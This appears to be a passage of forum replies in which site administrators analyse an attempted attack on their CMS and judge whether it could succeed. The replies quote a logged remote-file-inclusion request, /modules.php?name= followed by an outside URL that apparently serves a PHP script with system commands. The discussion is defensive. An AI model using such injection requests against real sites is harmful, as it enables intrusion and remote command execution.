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Re: New hacking attempt on my site!!! (Score: 1)
by kipuka on Monday, January 12 @ 17:13:21 CET
(User Info | Send a Message) | | Grrr. I got this to display all nicely in preview but it still got filtered out. Oh well, go to this url you cited: http://republica.bg/.i/2 and look in the file they tried to upload. You will see a php script with system commands in it. |
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Re: New hacking attempt on my site!!! (Score: 1)
by kipuka on Monday, January 12 @ 17:39:28 CET
(User Info | Send a Message) | I tried uploading a file from another domain this way and it doesn't work on my system. Looking at the code in 6.9 for this particular file, I don't see anyone being able to upload anything off-server like this. I don't know if the same applies for all the other versions.
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Re: New hacking attempt on my site!!! (Score: 1)
by Zhen-Xjell on Monday, January 12 @ 22:21:17 CET
(User Info | Send a Message) http://castlecops.com | Changing user-agents is certainly a trivial task. However, the agent being used is somewhat of an obscure one that not many folks know.
But take a look at the request to the server:
/modules.php?name=http://republica.bg/.i/2
Its trying to call a module that tends to be a URL. There is no provision there to upload a file to the server. This doesn't provide for any cross site scripting. |
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